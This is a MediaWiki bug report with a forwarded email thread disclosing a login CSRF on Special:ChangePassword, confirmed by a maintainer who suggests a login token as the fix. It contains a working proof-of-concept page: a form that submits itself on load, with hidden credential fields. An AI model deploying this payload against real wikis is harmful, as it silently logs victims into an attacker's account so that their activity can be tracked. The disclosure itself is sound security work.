Gopinath (via codex.galleryproject.org) reported a login csrf on Special:ChangePassword. Confirmed this in master. Note with the PoC, the victim must have an existing _session cookie on the target wiki, otherwise the login fails.
Special:ChangePassword should use a login token.
On Sun, Mar 9, 2014 at 12:16 PM, Bharat Mediratta <bharat@menalto.com> wrote:
Hi, Wikimedia folks - Gopinath is reporting a vulnerability in Mediawiki 1.22.3 which is running on codex.galleryproject.org - can you take a look at this and decide whether it's something you want to resolve in the Mediawiki codebase?
-Bharat
On Fri, Mar 7, 2014 at 10:14 PM, Gopinath <gopiengg@gmail.com> wrote:
Hi,
Through below CSRF Code user can be logged into the attackers account, without knowledge of user.So attacker can track the user activity.
User also wont know the attacker account password .Attacker can request password reset for his account and can get the value of wpPassword parameter.
POC Code
<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="http://codex.galleryproject.org/Special:ChangePassword" method="POST">
<input type="hidden" name="returnto" value="Main Page" /> <input type="hidden" name="token" value="+\" /> <input type="hidden" name="wpDomain" value="" /> <input type="hidden" name="wpName" value="Gopinath6" /> <input type="hidden" name="wpNewPassword" value=password1234 /> <input type="hidden" name="wpPassword" value=7qbuqjjsme /> <input type="hidden" name="wpRetype" value=password1234 />
</form>
</body>
</html>
Regards
Gopinath
Version: 1.23.0
Severity: normal